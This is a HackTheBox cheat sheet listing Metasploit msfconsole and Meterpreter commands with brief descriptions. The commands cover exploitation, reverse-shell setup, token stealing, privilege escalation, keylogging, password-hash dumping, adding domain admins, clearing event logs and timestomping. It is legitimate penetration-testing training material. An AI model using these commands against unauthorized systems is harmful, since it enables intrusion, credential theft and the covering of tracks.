HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

MSFconsole Commands

Command	Description
`show exploits`	Show all exploits within the Framework.
`show payloads`	Show all payloads within the Framework.
`show auxiliary`	Show all auxiliary modules within the Framework.
`search <name>`	Search for exploits or modules within the Framework.
`info`	Load information about a specific exploit or module.
`use <name>`	Load an exploit or module (example: use windows/smb/psexec).
`use <number>`	Load an exploit by using the index number displayed after the search command.
`LHOST`	Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.

Command	Description
`RHOST`	The remote host or the target. set function Set a specific value (for example, LHOST or RHOST).
`setg <function>`	Set a specific value globally (for example, LHOST or RHOST).
`show options`	Show the options available for a module or exploit.
`show targets`	Show the platforms supported by the exploit.
`set target <number>`	Specify a specific target index if you know the OS and service pack.
`set payload <payload>`	Specify the payload to use.
`set payload <number>`	Specify the payload index number to use after the show payloads command.
`show advanced`	Show advanced options.
`set autorunscript migrate -f`	Automatically migrate to a separate process upon exploit completion.
`check`	Determine whether a target is vulnerable to an attack.
`exploit`	Execute the module or exploit and attack the target.
`exploit -j`	Run the exploit under the context of the job. (This will run the exploit in the background.)
`exploit -z`	Do not interact with the session after successful exploitation.
`exploit -e <encoder>`	Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
`exploit -h`	Display help for the exploit command.

Command	Description
`sessions -l`	List available sessions (used when handling multiple shells).
`sessions -l -v`	List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.
`sessions -s <script>`	Run a specific Meterpreter script on all Meterpreter live sessions.
`sessions -K`	Kill all live sessions.
`sessions -c <cmd>`	Execute a command on all live Meterpreter sessions.
`sessions -u <sessionID>`	Upgrade a normal Win32 shell to a Meterpreter console.
`db_create <name>`	Create a database to use with database-driven attacks (example: db_create autopwn).
`db_connect <name>`	Create and connect to a database for driven attacks (example: db_connect autopwn).
`db_nmap`	Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.)
`db_destroy`	Delete the current database.
`db_destroy <user:password@host:port/database>`	Delete database using advanced options.

Meterpreter Commands

Command	Description
`help`	Open Meterpreter usage help.

Command	Description
`run <scriptname>`	Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.
`sysinfo`	Show the system information on the compromised target.
`ls`	List the files and folders on the target.
`use priv`	Load the privilege extension for extended Meterpreter libraries.
`ps`	Show all running processes and which accounts are associated with each process.
`migrate <proc. id>`	Migrate to the specific process ID (PID is the target process ID gained from the ps command).
`use incognito`	Load incognito functions. (Used for token stealing and impersonation on a target machine.)
`list_tokens -u`	List available tokens on the target by user.
`list_tokens -g`	List available tokens on the target by group.
`impersonate_token <DOMAIN_NAMEUSERNAME>`	Impersonate a token available on the target.
`steal_token <proc. id>`	Steal the tokens available for a given process and impersonate that token.
`drop_token`	Stop impersonating the current token.
`getsystem`	Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
`shell`	Drop into an interactive shell with all available tokens.
`execute -f <cmd.exe> -i`	Execute cmd.exe and interact with it.
`execute -f <cmd.exe> -i -t`	Execute cmd.exe with all available tokens.

Command	Description
`execute -f <cmd.exe> -i -H -t`	Execute cmd.exe with all available tokens and make it a hidden process.
`rev2self`	Revert back to the original user you used to compromise the target.
`reg <command>`	Interact, create, delete, query, set, and much more in the target's registry.
`setdesktop <number>`	Switch to a different screen based on who is logged in.
`screenshot`	Take a screenshot of the target's screen.
`upload <filename>`	Upload a file to the target.
`download <filename>`	Download a file from the target.
`keyscan_start`	Start sniffing keystrokes on the remote target.
`keyscan_dump`	Dump the remote keys captured on the target.
`keyscan_stop`	Stop sniffing keystrokes on the remote target.
`getprivs`	Get as many privileges as possible on the target.
`uictl enable <keyboard/mouse>`	Take control of the keyboard and/or mouse.
`background`	Run your current Meterpreter shell in the background.
`hashdump`	Dump all hashes on the target. use sniffer Load the sniffer module.
`sniffer_interfaces`	List the available interfaces on the target.
`sniffer_dump <interfaceID> pcapname`	Start sniffing on the remote target.

Command	Description
`sniffer_start <interfaceID> packet-buffer`	Start sniffing with a specific range for a packet buffer.
`sniffer_stats <interfaceID>`	Grab statistical information from the interface you are sniffing.
`sniffer_stop <interfaceID>`	Stop the sniffer.
`add_user <username> <password> -h <ip>`	Add a user on the remote target.
`add_group_user <"Domain Admins"> <username> -h <ip>`	Add a username to the Domain Administrators group on the remote target.
`clearev`	Clear the event log on the target machine.
`timestomp`	Change file attributes, such as creation date (antiforensics measure).
`reboot`	Reboot the target machine.